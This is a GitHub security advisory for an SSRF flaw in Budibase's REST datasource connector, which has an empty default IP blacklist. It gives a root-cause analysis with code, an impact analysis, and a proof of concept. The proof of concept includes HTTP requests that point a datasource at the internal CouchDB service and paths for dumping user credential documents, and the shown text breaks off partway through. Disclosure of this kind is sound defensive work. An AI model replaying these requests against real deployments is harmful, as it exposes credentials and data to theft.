GitHub Advisoryadvisory · npm
GHSA-7r9j-r86q-7g45 Budibase: Server-Side Request Forgery via REST Connector with Empty Default Blacklist
CRITICAL
Official page ↗
- Aliases
- CVE-2026-31818
- Ecosystem
- npm
- Packages
- @budibase/backend-core
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
- Weaknesses
- CWE-1188, CWE-918
- Reviewed
- 2026-04-03
Affected packages
• npm @budibase/backend-core: < 3.33.4 → fixed in 3.33.4
Description
1. Summary
| Field | Value |
|-------|-------|
| Title | SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration |
| Product | Budibase |
| Version | 3.30.6 (latest stable as of 2026-02-25) |
| Component | REST Datasource Integration + Backend-Core Blacklist Module |
| Severity | Critical |
| Attack Vector | Network |
| Privileges Required | Low (Builder role, or QUERY WRITE for execution of pre-existing queries) |
| User Interaction | None |
| Affected Deployments | All self-hosted instances without explicit `BLACKLIST_IPS` configuration (believed to be the vast majority) |
---
2. Description
A critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the `BLACKLIST_IPS` environment variable is not set by default in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns `false`, allowing all requests through without restriction.
This allows any user with `Builder` privileges (or `QUERY WRITE` permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses — including credentials, database contents, and internal service metadata.
The vulnerability is particularly severe because:
1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data
2. CouchDB credentials are embedded in the environment variables visible to the application container
3. A successful exploit grants full read/write access to the entire Budibase data layer
---
3. Root Cause Analysis
3.1 Blacklist Implementation
File: `packages/backend-core/src/blacklist/blacklist.ts`
```typescript
// Line 23-37: Blacklist refresh reads from environment variable
export async function refreshBlacklist() {
const blacklist = env.BLACKLIST_IPS // ← reads BLACKLIST_IPS
const list = blacklist?.split(",") || [] // ← empty array if unset
let final: string[] = []
for (let addr of list) {
// ... resolves domains to IPs
}
blackListArray = final // ← empty array
}
// Line 39-54: Blacklist check
export async function isBlacklisted(address: string): Promise {
if (!blackListArray) {
await refreshBlacklist()
}
if (blackListArray?.length === 0) {
return false // ← ALWAYS returns false when empty
}
// ... rest of check never executes
}
```
Problem: When `BLACKLIST_IPS` is not set (the default), `blackListArray` is initialized as an empty array, and `isBlacklisted()` unconditionally returns `false` for every URL.
3.2 Default Configuration Missing BLACKLIST_IPS
File: `hosting/.env` (official Docker Compose deployment template)
```env
MAIN_PORT=10000
API_ENCRYPTION_KEY=testsecret
JWT_SECRET=testsecret
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
COUCH_DB_PASSWORD=budibase
COUCH_DB_USER=budibase
REDIS_PASSWORD=budibase
INTERNAL_API_KEY=budibase
... (19 other variables)
BLACKLIST_IPS is NOT present
```
No default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.
3.3 REST Integration Blacklist Check
File: `packages/server/src/integrations/rest.ts`
```typescript
// Line 684-686: Blacklist check before fetch
const url = this.getUrl(path, queryString, pagination, paginationValues)
if (await blacklist.isBlacklisted(url)) { // ← always false
throw new Error("Cannot connect to URL.") // ← never reached
}
// Line 708:
response = await fetch(url, input) // ← unrestricted fetch
```
3.4 Authorization Model
| Operation | Endpoint | Required Permission |
|-----------|----------|-------------------|
| Create datasource | `POST /api/datasources` | `BUILDER` (app-level) |
| Create query | `POST /api/queries` | `BUILDER` (app-level) |
| Execute query | `POST /api/v2/queries/:id` | `QUERY WRITE` (can be granted to any app user) |
Route definitions:
• `packages/server/src/api/routes/datasource.ts:19` → `builderRoutes`
• `packages/server/src/api/routes/query.ts:33` → `builderRoutes` (create)
• `packages/server/src/api/routes/query.ts:55-66` → `writeRoutes` with `PermissionType.QUERY, PermissionLevel.WRITE` (execute)
Key insight: The `BUILDER` role is an app-level permission, significantly lower than `GLOBAL_BUILDER` (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.
---
4. Impact Analysis
4.1 Confidentiality — Critical
An attacker can read:
• All CouchDB databases (`/_all_dbs`)
• User credentials including bcrypt password hashes, email addresses (`/global-db/_all_docs?include_docs=true`)
• Platform configuration including encryption keys, JWT secrets
• All application data across every app in the instance
• Internal service metadata (MinIO storage, Redis)
4.2 Integrity — High
Through CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can:
• Modify user records to escalate privileges
• Create new admin accounts directly in CouchDB
• Alter application data in any app's database
• Delete databases causing data loss
4.3 Availability — Medium
• Resource exhaustion by making the server proxy large responses from internal services
• Database destruction via CouchDB DELETE operations
• Service disruption by modifying critical configuration documents
4.4 Scope Change
The vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A `Builder` user should only be able to configure app-level logic, but this vulnerability grants direct access to:
• CouchDB (database layer)
• MinIO (storage layer)
• Redis (cache/session layer)
• Any other service accessible from the Docker network
---
5. Proof of Concept
5.1 Environment Setup
```bash
cd hosting/
docker compose up -d
Wait for services to start
Create admin account via POST /api/global/users/init
Login to obtain session cookie
```
Tested on: Budibase v3.30.6, Docker Compose deployment with default `hosting/.env`
5.2 Step 1 — Create REST Datasource Targeting Internal CouchDB
```http
POST /api/datasources HTTP/1.1
Host: localhost:10000
Content-Type: application/json
Cookie: budibase:auth=
x-budibase-app-id:
{
"datasource": {
"name": "Internal CouchDB",
"source": "REST",
"type": "datasource",
"config": {
"url": "http://couchdb-service:5984",
"defaultHeaders": {}
}
}
}
```
Response (201 — datasource created successfully):
```json
{
"datasource": {
"_id": "datasource_4530e34a8b2e423f8f8eb53e2b2cefc6",
"name": "Internal CouchDB",
"source": "REST",
"config": { "url": "http://couchdb-service:5984" }
}
}
```
No warning, no validation error — an internal hostname is accepted without restriction.
5.3 Step 2 — Query CouchDB Version (Confirm Connectivity)
Create and execute a query to `GET /`:
```http
POST /api/v2/queries/ HTTP/1.1
```
Response — Internal CouchDB data returned to the attacker:
```json
{
"data": [{
"couchdb": "Welcome",
"version": "3.3.3",
"git_sha": "40afbcfc7",
"uuid": "9cd97b58e2cef72e730a83247c377d2b",
"features": ["search","access-ready","partitioned",
"pluggable-storage-engines","reshard","scheduler"],
"vendor": {"name": "The Apache Software Foundation"}
}],
"code": 200,
"time": "44ms"
}
```
5.4 Step 3 — Enumerate All Databases
Query: `GET /_all_dbs` with CouchDB admin credentials (from `.env`: `budibase:budibase`)
```json
{
"data": [
{"value": "_replicator"},
{"value": "_users"},
{"value": "app_dev_3eeb8d7949074250ae62f206ad0b…
Related
Alias · CVE (1)
- CVE-2026-31818 Budibase is an open-source low-code platform. vulnerability
References
- https://github.com/Budibase/budibase/security/advisories/GHSA-7r9j-r86q-7g45 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-31818 advisory
- https://github.com/Budibase/budibase/pull/18236 web
- https://github.com/Budibase/budibase/commit/5b0fe83d4ece52696b62589cba89ef50cc009732 web
- https://github.com/Budibase/budibase package
- https://github.com/Budibase/budibase/releases/tag/3.33.4 web